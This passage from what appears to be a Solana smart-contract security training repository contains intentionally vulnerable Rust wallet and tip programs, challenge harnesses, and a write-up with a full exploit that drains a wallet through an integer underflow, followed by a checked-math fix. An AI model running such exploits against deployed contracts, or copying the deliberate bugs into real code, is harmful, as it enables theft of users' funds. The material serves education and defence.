| ``` 20 | But this only limits the maximum amount stolen per iteration to min_balance lamports. 21 | 22 | 23 | Here is the example exploit code that Thomas, one of our colleagues, wrote: 24 | 25 | ```rust 26 | use borsh::BorshSerialize; 27 | use level2::{WalletInstruction, get_wallet_address}; 28 | use solana_program::instruction::{AccountMeta, Instruction}; 29 | use solana_program::rent::Rent; 30 | use solana_program::sysvar; 31 | 32 | 33 | 34 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 35 | // create hackers wallet 36 | assert_tx_success(env.execute_as_transaction( 37 | &[level2::initialize( 38 | challenge.wallet_program, 39 | challenge.hacker.pubkey(), 40 | )], 41 | &[&challenge.hacker], 42 | )); 43 | 44 | let hacker_wallet = get_wallet_address(challenge.hacker.pubkey(), challenge.wallet_program); 45 | 46 | let to_transfer = Rent::default().minimum_balance(8); 47 | println!("To transfer: {}", to_transfer); 48 | //let to_transfer = 1_000_000u64; 49 | let overflow = (-(to_transfer as i64)) as u64; 50 | 51 | let iters = 10; 52 | 53 | for i in 0..iters { 54 | let tx = env.execute_as_transaction( 55 | &[Instruction { 56 | program_id: challenge.wallet_program, 57 | accounts: vec![ 58 | AccountMeta::new(hacker_wallet, false), // source wallet 59 | AccountMeta::new(challenge.hacker.pubkey(), true), // owner 60 | AccountMeta::new(challenge.wallet_address, false), // target wallet 61 | AccountMeta::new_readonly(sysvar::rent::id(), false), // rent 62 | ], 63 | data: WalletInstruction::Withdraw { amount: overflow+i }.try_to_vec().unwrap(), 64 | }], 65 | &[&challenge.hacker], 66 | ); 67 | tx.print_named(&format!("haxx {}", i)); 68 | } 69 | 70 | 71 | let tx = env.execute_as_transaction( 72 | &[Instruction { 73 | program_id: challenge.wallet_program, 74 | accounts: vec![ 75 | AccountMeta::new(hacker_wallet, false), // source wallet 76 | AccountMeta::new(challenge.hacker.pubkey(), true), // owner 77 | AccountMeta::new(challenge.hacker.pubkey(), false), // target wallet 78 | AccountMeta::new_readonly(sysvar::rent::id(), false), // rent 79 | ], 80 | data: WalletInstruction::Withdraw { amount: to_transfer*iters-1000 }.try_to_vec().unwrap(), 81 | }], 82 | &[&challenge.hacker], 83 | ); 84 | tx.print_named("hacker withdraw"); 85 | } 86 | ``` 87 | 88 | # Mitigation 89 | 90 | By replacing the math with checked math in the `withdraw` function, this vulnerability can be prevented: 91 | 92 | ```rust 93 | { 94 | let mut wallet_info_lapmorts = wallet_info.lamports.borrow_mut(); 95 | **wallet_info_lapmorts = (**wallet_info_lapmorts).checked_sub(amount).unwrap(); 96 | } 97 | 98 | { 99 | let mut destination_info_lapmorts = destination_info.lamports.borrow_mut(); 100 | **destination_info_lapmorts = (**destination_info_lapmorts).checked_add(amount).unwrap(); 101 | } 102 | ``` -------------------------------------------------------------------------------- /pocs/src/bin/level4.rs: -------------------------------------------------------------------------------- 1 | use std::{env, str::FromStr}; 2 | 3 | use owo_colors::OwoColorize; 4 | use poc_framework::solana_sdk::signature::Keypair; 5 | use poc_framework::spl_associated_token_account::get_associated_token_address; 6 | use poc_framework::{ 7 | keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction, 8 | }; 9 | 10 | use pocs::assert_tx_success; 11 | use solana_program::{native_token::sol_to_lamports, pubkey::Pubkey, system_program}; 12 | 13 | struct Challenge { 14 | hacker: Keypair, 15 | wallet_program: Pubkey, 16 | wallet_address: Pubkey, 17 | wallet_owner: Pubkey, 18 | mint: Pubkey, 19 | } 20 | 21 | // Do your hacks in this function here 22 | fn hack(_env: &mut LocalEnvironment, _challenge: &Challenge) {} 23 | 24 | /* 25 | SETUP CODE BELOW 26 | */ 27 | pub fn main() { 28 | let (mut env, challenge, internal) = setup(); 29 | hack(&mut env, &challenge); 30 | verify(&mut env, challenge, internal); 31 | } 32 | 33 | struct Internal { 34 | wallet_owner: Keypair, 35 | wallet_amount: u64, 36 | } 37 | 38 | fn verify(env: &mut LocalEnvironment, challenge: Challenge, internal: Internal) { 39 | let tx = env.execute_as_transaction( 40 | &[level4::withdraw( 41 | challenge.wallet_program, 42 | challenge.wallet_owner, 43 | challenge.wallet_address, 44 | challenge.mint, 45 | internal.wallet_amount, 46 | )], 47 | &[&internal.wallet_owner], 48 | ); 49 | 50 | tx.print_named("Verification: owner withdraw"); 51 | 52 | if tx.transaction.meta.unwrap().err.is_none() { 53 | println!("[*] {}", "Exploit not successful.".red()); 54 | } else { 55 | println!("[*] {}", "Congratulations, the exploit succeeded!".green()); 56 | } 57 | } 58 | 59 | fn setup() -> (LocalEnvironment, Challenge, Internal) { 60 | let mut dir = env::current_exe().unwrap(); 61 | let path = { 62 | dir.pop(); 63 | dir.pop(); 64 | dir.push("deploy"); 65 | dir.push("level4.so"); 66 | dir.to_str() 67 | } 68 | .unwrap(); 69 | 70 | let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap(); 71 | let wallet_owner = keypair(0); 72 | let rich_boi = keypair(1); 73 | let mint = keypair(2).pubkey(); 74 | let rich_boi_ata = get_associated_token_address(&rich_boi.pubkey(), &mint); 75 | let hacker = keypair(42); 76 | 77 | let a_lot_of_money = sol_to_lamports(1_000_000.0); 78 | 79 | let mut env = LocalEnvironment::builder() 80 | .add_program(wallet_program, path) 81 | .add_account_with_lamports( 82 | wallet_owner.pubkey(), 83 | system_program::ID, 84 | sol_to_lamports(100.0), 85 | ) 86 | .add_account_with_lamports(rich_boi.pubkey(), system_program::ID, a_lot_of_money * 2) 87 | .add_account_with_lamports(hacker.pubkey(), system_program::ID, sol_to_lamports(1.0)) 88 | .add_token_mint(mint, None, a_lot_of_money, 9, None) 89 | .add_associated_account_with_tokens(rich_boi.pubkey(), mint, a_lot_of_money) 90 | .build(); 91 | 92 | let wallet_address = level4::get_wallet_address(&wallet_owner.pubkey(), &wallet_program).0; 93 | 94 | // Create Wallet 95 | assert_tx_success(env.execute_as_transaction( 96 | &[level4::initialize( 97 | wallet_program, 98 | wallet_owner.pubkey(), 99 | mint, 100 | )], 101 | &[&wallet_owner], 102 | )); 103 | 104 | println!("[*] Wallet created!"); 105 | 106 | // rich boi pays for bill 107 | assert_tx_success(env.execute_as_transaction( 108 | &[level4::deposit( 109 | wallet_program, 110 | wallet_owner.pubkey(), 111 | rich_boi_ata, 112 | rich_boi.pubkey(), 113 | mint, 114 | a_lot_of_money, 115 | )], 116 | &[&rich_boi], 117 | )); 118 | println!("[*] rich boi payed his bills"); 119 | 120 | ( 121 | env, 122 | Challenge { 123 | wallet_address, 124 | hacker, 125 | wallet_program, 126 | wallet_owner: wallet_owner.pubkey(), 127 | mint, 128 | }, 129 | Internal { 130 | wallet_owner, 131 | wallet_amount: a_lot_of_money, 132 | }, 133 | ) 134 | } 135 | -------------------------------------------------------------------------------- /level4/src/lib.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | entrypoint, 4 | instruction::{AccountMeta, Instruction}, 5 | pubkey::Pubkey, 6 | system_program, sysvar, 7 | }; 8 | 9 | // There's a mitigation for this bug in spl-token 3.1.1 10 | // vendored_spl_token is an exact copy of spl-token 3.1.0, which doesn't have the mitigation yet 11 | use vendored_spl_token as spl_token; 12 | 13 | #[derive(Debug, BorshDeserialize, BorshSerialize)] 14 | 15 | pub enum WalletInstruction { 16 | /// Initialize a Personal Savings Wallet 17 | /// 18 | /// Passed accounts: 19 | /// 20 | /// (1) Wallet account 21 | /// (2) Authority 22 | /// (3) Owner 23 | /// (4) Mint 24 | /// (5) Rent sysvar 25 | /// (6) SPL-Token program 26 | /// (7) System program 27 | Initialize, 28 | /// Deposit 29 | /// 30 | /// Passed accounts: 31 | /// 32 | /// (1) Wallet account 33 | /// (2) Money Source 34 | /// (3) Source Authority 35 | /// (4) Mint 36 | /// (5) SPL-Token program 37 | Deposit { amount: u64 }, 38 | /// Withdraw from Wallet 39 | /// 40 | /// Passed accounts: 41 | /// 42 | /// (1) Wallet account 43 | /// (2) Authority 44 | /// (3) Owner 45 | /// (4) Destination 46 | /// (5) Mint 47 | /// (6) SPL-Token program 48 | Withdraw { amount: u64 }, 49 | } 50 | 51 | pub mod processor; 52 | use processor::process_instruction; 53 | entrypoint!(process_instruction); 54 | 55 | pub fn get_wallet_address(owner: &Pubkey, wallet_program: &Pubkey) -> (Pubkey, u8) { 56 | Pubkey::find_program_address(&[&owner.to_bytes()], wallet_program) 57 | } 58 | 59 | pub fn get_authority(wallet_program: &Pubkey) -> (Pubkey, u8) { 60 | Pubkey::find_program_address(&[], wallet_program) 61 | } 62 | 63 | pub fn initialize(wallet_program: Pubkey, owner_address: Pubkey, mint: Pubkey) -> Instruction { 64 | let wallet_address = get_wallet_address(&owner_address, &wallet_program).0; 65 | let authority_address = get_authority(&wallet_program).0; 66 | Instruction { 67 | program_id: wallet_program, 68 | accounts: vec![ 69 | AccountMeta::new(wallet_address, false), 70 | AccountMeta::new_readonly(authority_address, false), 71 | AccountMeta::new(owner_address, true), 72 | AccountMeta::new(mint, false), 73 | AccountMeta::new_readonly(sysvar::rent::id(), false), 74 | AccountMeta::new_readonly(spl_token::id(), false), 75 | AccountMeta::new_readonly(system_program::id(), false), 76 | ], 77 | data: WalletInstruction::Initialize.try_to_vec().unwrap(), 78 | } 79 | } 80 | 81 | pub fn deposit( 82 | wallet_program: Pubkey, 83 | owner_address: Pubkey, 84 | source: Pubkey, 85 | source_authority: Pubkey, 86 | mint: Pubkey, 87 | amount: u64, 88 | ) -> Instruction { 89 | let wallet_address = get_wallet_address(&owner_address, &wallet_program).0; 90 | Instruction { 91 | program_id: wallet_program, 92 | accounts: vec![ 93 | AccountMeta::new(wallet_address, false), 94 | AccountMeta::new(source, false), 95 | AccountMeta::new_readonly(source_authority, true), 96 | AccountMeta::new_readonly(mint, false), 97 | AccountMeta::new_readonly(spl_token::id(), false), 98 | ], 99 | data: WalletInstruction::Deposit { amount }.try_to_vec().unwrap(), 100 | } 101 | } 102 | 103 | pub fn withdraw( 104 | wallet_program: Pubkey, 105 | owner_address: Pubkey, 106 | destination: Pubkey, 107 | mint: Pubkey, 108 | amount: u64, 109 | ) -> Instruction { 110 | let wallet_address = get_wallet_address(&owner_address, &wallet_program).0; 111 | let authority_address = get_authority(&wallet_program).0; 112 | Instruction { 113 | program_id: wallet_program, 114 | accounts: vec![ 115 | AccountMeta::new(wallet_address, false), 116 | AccountMeta::new_readonly(authority_address, false), 117 | AccountMeta::new_readonly(owner_address, true), 118 | AccountMeta::new(destination, false), 119 | AccountMeta::new_readonly(mint, false), 120 | AccountMeta::new_readonly(spl_token::id(), false), 121 | ], 122 | data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /level0/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | account_info::{next_account_info, AccountInfo}, 4 | entrypoint::ProgramResult, 5 | program::{invoke, invoke_signed}, 6 | program_error::ProgramError, 7 | pubkey::Pubkey, 8 | rent::Rent, 9 | system_instruction, 10 | sysvar::Sysvar, 11 | }; 12 | 13 | use crate::{Wallet, WalletInstruction, WALLET_LEN}; 14 | 15 | pub fn process_instruction( 16 | program_id: &Pubkey, 17 | accounts: &[AccountInfo], 18 | mut instruction_data: &[u8], 19 | ) -> ProgramResult { 20 | match WalletInstruction::deserialize(&mut instruction_data)? { 21 | WalletInstruction::Initialize => initialize(program_id, accounts), 22 | WalletInstruction::Deposit { amount } => deposit(program_id, accounts, amount), 23 | WalletInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount), 24 | } 25 | } 26 | 27 | fn initialize(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 28 | let account_info_iter = &mut accounts.iter(); 29 | let wallet_info = next_account_info(account_info_iter)?; 30 | let vault_info = next_account_info(account_info_iter)?; 31 | let authority_info = next_account_info(account_info_iter)?; 32 | let rent_info = next_account_info(account_info_iter)?; 33 | let (wallet_address, wallet_seed) = 34 | Pubkey::find_program_address(&[&authority_info.key.to_bytes()], program_id); 35 | let (vault_address, vault_seed) = Pubkey::find_program_address( 36 | &[&authority_info.key.to_bytes(), &"VAULT".as_bytes()], 37 | program_id, 38 | ); 39 | 40 | let rent = Rent::from_account_info(rent_info)?; 41 | 42 | assert_eq!(*wallet_info.key, wallet_address); 43 | assert!(wallet_info.data_is_empty()); 44 | 45 | invoke_signed( 46 | &system_instruction::create_account( 47 | &authority_info.key, 48 | &wallet_address, 49 | rent.minimum_balance(WALLET_LEN as usize), 50 | WALLET_LEN, 51 | &program_id, 52 | ), 53 | &[authority_info.clone(), wallet_info.clone()], 54 | &[&[&authority_info.key.to_bytes(), &[wallet_seed]]], 55 | )?; 56 | 57 | invoke_signed( 58 | &system_instruction::create_account( 59 | &authority_info.key, 60 | &vault_address, 61 | rent.minimum_balance(0), 62 | 0, 63 | &program_id, 64 | ), 65 | &[authority_info.clone(), vault_info.clone()], 66 | &[&[ 67 | &authority_info.key.to_bytes(), 68 | &"VAULT".as_bytes(), 69 | &[vault_seed], 70 | ]], 71 | )?; 72 | 73 | let wallet = Wallet { 74 | authority: *authority_info.key, 75 | vault: vault_address, 76 | }; 77 | 78 | wallet 79 | .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) 80 | .unwrap(); 81 | 82 | Ok(()) 83 | } 84 | 85 | fn deposit(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 86 | let account_info_iter = &mut accounts.iter(); 87 | let wallet_info = next_account_info(account_info_iter)?; 88 | let vault_info = next_account_info(account_info_iter)?; 89 | let source_info = next_account_info(account_info_iter)?; 90 | let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?; 91 | 92 | assert_eq!(wallet.vault, *vault_info.key); 93 | 94 | invoke( 95 | &system_instruction::transfer(&source_info.key, &vault_info.key, amount), 96 | &[vault_info.clone(), source_info.clone()], 97 | )?; 98 | 99 | Ok(()) 100 | } 101 | 102 | fn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 103 | let account_info_iter = &mut accounts.iter(); 104 | let wallet_info = next_account_info(account_info_iter)?; 105 | let vault_info = next_account_info(account_info_iter)?; 106 | let authority_info = next_account_info(account_info_iter)?; 107 | let destination_info = next_account_info(account_info_iter)?; 108 | let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?; 109 | 110 | assert!(authority_info.is_signer); 111 | assert_eq!(wallet.authority, *authority_info.key); 112 | assert_eq!(wallet.vault, *vault_info.key); 113 | 114 | if amount > **vault_info.lamports.borrow_mut() { 115 | return Err(ProgramError::InsufficientFunds); 116 | } 117 | 118 | **vault_info.lamports.borrow_mut() -= amount; 119 | **destination_info.lamports.borrow_mut() += amount; 120 | 121 | Ok(()) 122 | } 123 | -------------------------------------------------------------------------------- /level3/src/lib.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | entrypoint, 4 | instruction::{AccountMeta, Instruction}, 5 | pubkey::Pubkey, 6 | system_program, sysvar, 7 | }; 8 | 9 | #[derive(Debug, BorshDeserialize, BorshSerialize)] 10 | pub enum TipInstruction { 11 | /// Initialize a vault 12 | /// 13 | /// Passed accounts: 14 | /// 15 | /// (1) Vault account 16 | /// (2) initializer (must sign) 17 | /// (3) Rent sysvar 18 | /// (4) System Program 19 | Initialize { 20 | seed: u8, 21 | fee: f64, 22 | fee_recipient: Pubkey, 23 | }, 24 | /// Initialize a TipPool 25 | /// 26 | /// Passed accounts: 27 | /// 28 | /// (1) Vault account 29 | /// (2) withdraw_authority (must sign) 30 | /// (3) Pool account 31 | CreatePool, 32 | /// Tip 33 | /// 34 | /// Passed accounts: 35 | /// 36 | /// (1) Vault account 37 | /// (2) Pool 38 | /// (3) Tip Source 39 | /// (4) System program 40 | Tip { amount: u64 }, 41 | /// Withdraw from Pool 42 | /// 43 | /// Passed accounts: 44 | /// 45 | /// (1) Vault account 46 | /// (2) Pool account 47 | /// (3) withdraw_authority (must sign) 48 | Withdraw { amount: u64 }, 49 | } 50 | 51 | #[repr(C)] 52 | #[derive(Clone, Copy, Debug, Default, PartialEq, BorshSerialize, BorshDeserialize)] 53 | pub struct TipPool { 54 | pub withdraw_authority: Pubkey, 55 | pub value: u64, 56 | pub vault: Pubkey, 57 | } 58 | 59 | pub const TIP_POOL_LEN: u64 = 32 + 8 + 32; 60 | 61 | #[repr(C)] 62 | #[derive(Clone, Copy, Debug, Default, PartialEq, BorshSerialize, BorshDeserialize)] 63 | pub struct Vault { 64 | pub creator: Pubkey, 65 | pub fee: f64, //reserved for future use 66 | pub fee_recipient: Pubkey, //reserved for future use 67 | pub seed: u8, 68 | } 69 | pub const VAULT_LEN: u64 = 32 + 8 + 32 + 1; 70 | 71 | pub mod processor; 72 | use processor::process_instruction; 73 | entrypoint!(process_instruction); 74 | 75 | pub fn initialize( 76 | tip_program: Pubkey, 77 | vault_address: Pubkey, 78 | initializer_address: Pubkey, 79 | seed: u8, 80 | fee: f64, 81 | fee_recipient: Pubkey, 82 | ) -> Instruction { 83 | Instruction { 84 | program_id: tip_program, 85 | accounts: vec![ 86 | AccountMeta::new(vault_address, false), 87 | AccountMeta::new(initializer_address, true), 88 | AccountMeta::new_readonly(sysvar::rent::id(), false), 89 | AccountMeta::new_readonly(system_program::id(), false), 90 | ], 91 | data: TipInstruction::Initialize { 92 | seed, 93 | fee, 94 | fee_recipient, 95 | } 96 | .try_to_vec() 97 | .unwrap(), 98 | } 99 | } 100 | 101 | pub fn create_pool( 102 | tip_program: Pubkey, 103 | vault_address: Pubkey, 104 | withdraw_authority: Pubkey, 105 | pool_address: Pubkey, 106 | ) -> Instruction { 107 | Instruction { 108 | program_id: tip_program, 109 | accounts: vec![ 110 | AccountMeta::new(vault_address, false), 111 | AccountMeta::new_readonly(withdraw_authority, true), 112 | AccountMeta::new(pool_address, false), 113 | ], 114 | data: TipInstruction::CreatePool.try_to_vec().unwrap(), 115 | } 116 | } 117 | 118 | pub fn tip( 119 | tip_program: Pubkey, 120 | vault_address: Pubkey, 121 | pool_address: Pubkey, 122 | source: Pubkey, 123 | amount: u64, 124 | ) -> Instruction { 125 | Instruction { 126 | program_id: tip_program, 127 | accounts: vec![ 128 | AccountMeta::new(vault_address, false), 129 | AccountMeta::new(pool_address, false), 130 | AccountMeta::new(source, true), 131 | AccountMeta::new_readonly(system_program::id(), false), 132 | ], 133 | data: TipInstruction::Tip { amount }.try_to_vec().unwrap(), 134 | } 135 | } 136 | 137 | pub fn withdraw( 138 | tip_program: Pubkey, 139 | vault_address: Pubkey, 140 | pool_address: Pubkey, 141 | withdraw_authority: Pubkey, 142 | amount: u64, 143 | ) -> Instruction { 144 | Instruction { 145 | program_id: tip_program, 146 | accounts: vec![ 147 | AccountMeta::new(vault_address, false), 148 | AccountMeta::new(pool_address, false), 149 | AccountMeta::new(withdraw_authority, true), 150 | AccountMeta::new_readonly(system_program::id(), false), 151 | ], 152 | data: TipInstruction::Withdraw { amount }.try_to_vec().unwrap(), 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /pocs/src/bin/level1.rs: -------------------------------------------------------------------------------- 1 | use std::{env, str::FromStr}; 2 | 3 | use owo_colors::OwoColorize; 4 | use poc_framework::solana_sdk::signature::Keypair; 5 | use poc_framework::{ 6 | keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction, 7 | }; 8 | use solana_program::native_token::lamports_to_sol; 9 | 10 | use pocs::assert_tx_success; 11 | use solana_program::{native_token::sol_to_lamports, pubkey::Pubkey, system_program}; 12 | 13 | struct Challenge { 14 | hacker: Keypair, 15 | wallet_program: Pubkey, 16 | wallet_address: Pubkey, 17 | wallet_authority: Pubkey, 18 | } 19 | 20 | // Do your hacks in this function here 21 | fn hack(_env: &mut LocalEnvironment, _challenge: &Challenge) {} 22 | 23 | /* 24 | SETUP CODE BELOW 25 | */ 26 | pub fn main() { 27 | let (mut env, challenge, internal) = setup(); 28 | let before_balance = env.get_account(challenge.hacker.pubkey()).unwrap().lamports; 29 | hack(&mut env, &challenge); 30 | verify(&mut env, challenge, before_balance, internal); 31 | } 32 | 33 | struct Internal { 34 | wallet_authority: Keypair, 35 | wallet_amount: u64, 36 | } 37 | 38 | fn verify( 39 | env: &mut LocalEnvironment, 40 | challenge: Challenge, 41 | before_balance: u64, 42 | internal: Internal, 43 | ) { 44 | let after = env.get_account(challenge.hacker.pubkey()).unwrap().lamports; 45 | 46 | let tx = env.execute_as_transaction( 47 | &[level1::withdraw( 48 | challenge.wallet_program, 49 | challenge.wallet_authority, 50 | challenge.wallet_address, 51 | internal.wallet_amount, 52 | )], 53 | &[&internal.wallet_authority], 54 | ); 55 | 56 | tx.print_named("Verification: authority withdraw"); 57 | 58 | if tx.transaction.meta.unwrap().err.is_none() { 59 | println!( 60 | "[*] {}", 61 | "Original wallet authority successfully withdrew all funds.".red() 62 | ) 63 | } else { 64 | println!( 65 | "[!] {}", 66 | "Original wallet authority cannot withdraw his funds anymore.".green() 67 | ) 68 | } 69 | 70 | if after > before_balance { 71 | println!("[*] {}", "Congratulations, the exploit succeeded!".green()); 72 | println!( 73 | "[*] Hacker has {} SOL more! ({} vs {})", 74 | lamports_to_sol(after - before_balance).green(), 75 | before_balance, 76 | after 77 | ); 78 | } else { 79 | println!("[*] {}", "Exploit not successful.".red()); 80 | println!( 81 | "[*] Hacker has {} SOL less! ({} vs {})", 82 | lamports_to_sol(before_balance - after).red(), 83 | before_balance, 84 | after 85 | ); 86 | } 87 | } 88 | 89 | fn setup() -> (LocalEnvironment, Challenge, Internal) { 90 | let mut dir = env::current_exe().unwrap(); 91 | let path = { 92 | dir.pop(); 93 | dir.pop(); 94 | dir.push("deploy"); 95 | dir.push("level1.so"); 96 | dir.to_str() 97 | } 98 | .unwrap(); 99 | 100 | let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap(); 101 | let wallet_authority = keypair(0); 102 | let rich_boi = keypair(1); 103 | let hacker = keypair(42); 104 | 105 | let a_lot_of_money = sol_to_lamports(1_000_000.0); 106 | 107 | let mut env = LocalEnvironment::builder() 108 | .add_program(wallet_program, path) 109 | .add_account_with_lamports( 110 | wallet_authority.pubkey(), 111 | system_program::ID, 112 | sol_to_lamports(100.0), 113 | ) 114 | .add_account_with_lamports(rich_boi.pubkey(), system_program::ID, a_lot_of_money * 2) 115 | .add_account_with_lamports(hacker.pubkey(), system_program::ID, sol_to_lamports(1.0)) 116 | .build(); 117 | 118 | let wallet_address = level1::get_wallet_address(wallet_authority.pubkey(), wallet_program); 119 | 120 | // Create Wallet 121 | assert_tx_success(env.execute_as_transaction( 122 | &[level1::initialize( 123 | wallet_program, 124 | wallet_authority.pubkey(), 125 | )], 126 | &[&wallet_authority], 127 | )); 128 | 129 | println!("[*] Wallet created!"); 130 | 131 | // rich boi pays for bill 132 | assert_tx_success(env.execute_as_transaction( 133 | &[level1::deposit( 134 | wallet_program, 135 | wallet_authority.pubkey(), 136 | rich_boi.pubkey(), 137 | a_lot_of_money, 138 | )], 139 | &[&rich_boi], 140 | )); 141 | println!("[*] rich boi payed his bills"); 142 | 143 | ( 144 | env, 145 | Challenge { 146 | wallet_address, 147 | hacker, 148 | wallet_program, 149 | wallet_authority: wallet_authority.pubkey(), 150 | }, 151 | Internal { 152 | wallet_authority, 153 | wallet_amount: a_lot_of_money, 154 | }, 155 | ) 156 | } 157 | -------------------------------------------------------------------------------- /pocs/src/bin/level2.rs: -------------------------------------------------------------------------------- 1 | use std::{env, str::FromStr}; 2 | 3 | use owo_colors::OwoColorize; 4 | use poc_framework::solana_sdk::signature::Keypair; 5 | use poc_framework::{ 6 | keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction, 7 | }; 8 | use solana_program::native_token::lamports_to_sol; 9 | 10 | use pocs::assert_tx_success; 11 | use solana_program::{native_token::sol_to_lamports, pubkey::Pubkey, system_program}; 12 | 13 | struct Challenge { 14 | hacker: Keypair, 15 | wallet_program: Pubkey, 16 | wallet_address: Pubkey, 17 | wallet_authority: Pubkey, 18 | } 19 | 20 | // Do your hacks in this function here 21 | fn hack(_env: &mut LocalEnvironment, _challenge: &Challenge) {} 22 | 23 | /* 24 | SETUP CODE BELOW 25 | */ 26 | pub fn main() { 27 | let (mut env, challenge, internal) = setup(); 28 | let before_balance = env.get_account(challenge.hacker.pubkey()).unwrap().lamports; 29 | hack(&mut env, &challenge); 30 | verify(&mut env, challenge, before_balance, internal); 31 | } 32 | 33 | struct Internal { 34 | wallet_authority: Keypair, 35 | wallet_amount: u64, 36 | } 37 | 38 | fn verify( 39 | env: &mut LocalEnvironment, 40 | challenge: Challenge, 41 | before_balance: u64, 42 | internal: Internal, 43 | ) { 44 | let after = env.get_account(challenge.hacker.pubkey()).unwrap().lamports; 45 | 46 | let tx = env.execute_as_transaction( 47 | &[level2::withdraw( 48 | challenge.wallet_program, 49 | challenge.wallet_authority, 50 | challenge.wallet_address, 51 | internal.wallet_amount, 52 | )], 53 | &[&internal.wallet_authority], 54 | ); 55 | 56 | tx.print_named("Verification: authority withdraw"); 57 | 58 | if tx.transaction.meta.unwrap().err.is_none() { 59 | println!( 60 | "[*] {}", 61 | "Original wallet authority successfully withdrew all funds.".red() 62 | ) 63 | } else { 64 | println!( 65 | "[!] {}", 66 | "Original wallet authority cannot withdraw his funds anymore.".green() 67 | ) 68 | } 69 | 70 | if after > before_balance { 71 | println!("[*] {}", "Congratulations, the exploit succeeded!".green()); 72 | println!( 73 | "[*] Hacker has {} SOL more! ({} vs {})", 74 | lamports_to_sol(after - before_balance).green(), 75 | before_balance, 76 | after 77 | ); 78 | } else { 79 | println!("[*] {}", "Exploit not successful.".red()); 80 | println!( 81 | "[*] Hacker has {} SOL less! ({} vs {})", 82 | lamports_to_sol(before_balance - after).red(), 83 | before_balance, 84 | after 85 | ); 86 | } 87 | } 88 | 89 | fn setup() -> (LocalEnvironment, Challenge, Internal) { 90 | let mut dir = env::current_exe().unwrap(); 91 | let path = { 92 | dir.pop(); 93 | dir.pop(); 94 | dir.push("deploy"); 95 | dir.push("level2.so"); 96 | dir.to_str() 97 | } 98 | .unwrap(); 99 | 100 | let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap(); 101 | let wallet_authority = keypair(0); 102 | let rich_boi = keypair(1); 103 | let hacker = keypair(42); 104 | 105 | let a_lot_of_money = sol_to_lamports(1_000_000.0); 106 | 107 | let mut env = LocalEnvironment::builder() 108 | .add_program(wallet_program, path) 109 | .add_account_with_lamports( 110 | wallet_authority.pubkey(), 111 | system_program::ID, 112 | sol_to_lamports(100.0), 113 | ) 114 | .add_account_with_lamports(rich_boi.pubkey(), system_program::ID, a_lot_of_money * 2) 115 | .add_account_with_lamports(hacker.pubkey(), system_program::ID, sol_to_lamports(1.0)) 116 | .build(); 117 | 118 | let wallet_address = level2::get_wallet_address(wallet_authority.pubkey(), wallet_program); 119 | 120 | // Create Wallet 121 | assert_tx_success(env.execute_as_transaction( 122 | &[level2::initialize( 123 | wallet_program, 124 | wallet_authority.pubkey(), 125 | )], 126 | &[&wallet_authority], 127 | )); 128 | 129 | println!("[*] Wallet created!"); 130 | 131 | // rich boi pays for bill 132 | assert_tx_success(env.execute_as_transaction( 133 | &[level2::deposit( 134 | wallet_program, 135 | wallet_authority.pubkey(), 136 | rich_boi.pubkey(), 137 | a_lot_of_money, 138 | )], 139 | &[&rich_boi], 140 | )); 141 | println!("[*] rich boi payed his bills"); 142 | 143 | ( 144 | env, 145 | Challenge { 146 | wallet_address, 147 | hacker, 148 | wallet_program, 149 | wallet_authority: wallet_authority.pubkey(), 150 | }, 151 | Internal { 152 | wallet_authority, 153 | wallet_amount: a_lot_of_money, 154 | }, 155 | ) 156 | } 157 | -------------------------------------------------------------------------------- /pocs/src/bin/level0.rs: -------------------------------------------------------------------------------- 1 | use std::{env, str::FromStr}; 2 | 3 | use owo_colors::OwoColorize; 4 | 5 | use poc_framework::solana_sdk::signature::Keypair; 6 | use poc_framework::{ 7 | keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction, 8 | }; 9 | 10 | use pocs::assert_tx_success; 11 | use solana_program::native_token::lamports_to_sol; 12 | use solana_program::{native_token::sol_to_lamports, pubkey::Pubkey, system_program}; 13 | 14 | struct Challenge { 15 | hacker: Keypair, 16 | wallet_program: Pubkey, 17 | wallet_address: Pubkey, 18 | vault_address: Pubkey, 19 | wallet_authority: Pubkey, 20 | } 21 | 22 | // Do your hacks in this function here 23 | fn hack(_env: &mut LocalEnvironment, _challenge: &Challenge) { 24 | 25 | // Step 0: how much money do we want to steal? 26 | 27 | // Step 1: a fake wallet with the same vault 28 | 29 | // Step 2: Use fake wallet to withdraw funds from the real vault to the attacker 30 | } 31 | 32 | /* 33 | SETUP CODE BELOW 34 | */ 35 | pub fn main() { 36 | let (mut env, challenge, internal) = setup(); 37 | let before_balance = env.get_account(challenge.hacker.pubkey()).unwrap().lamports; 38 | hack(&mut env, &challenge); 39 | verify(&mut env, challenge, before_balance, internal); 40 | } 41 | 42 | struct Internal { 43 | wallet_authority: Keypair, 44 | wallet_amount: u64, 45 | } 46 | 47 | fn verify( 48 | env: &mut LocalEnvironment, 49 | challenge: Challenge, 50 | before_balance: u64, 51 | internal: Internal, 52 | ) { 53 | let after = env.get_account(challenge.hacker.pubkey()).unwrap().lamports; 54 | 55 | let tx = env.execute_as_transaction( 56 | &[level0::withdraw( 57 | challenge.wallet_program, 58 | challenge.wallet_authority, 59 | challenge.wallet_address, 60 | internal.wallet_amount, 61 | )], 62 | 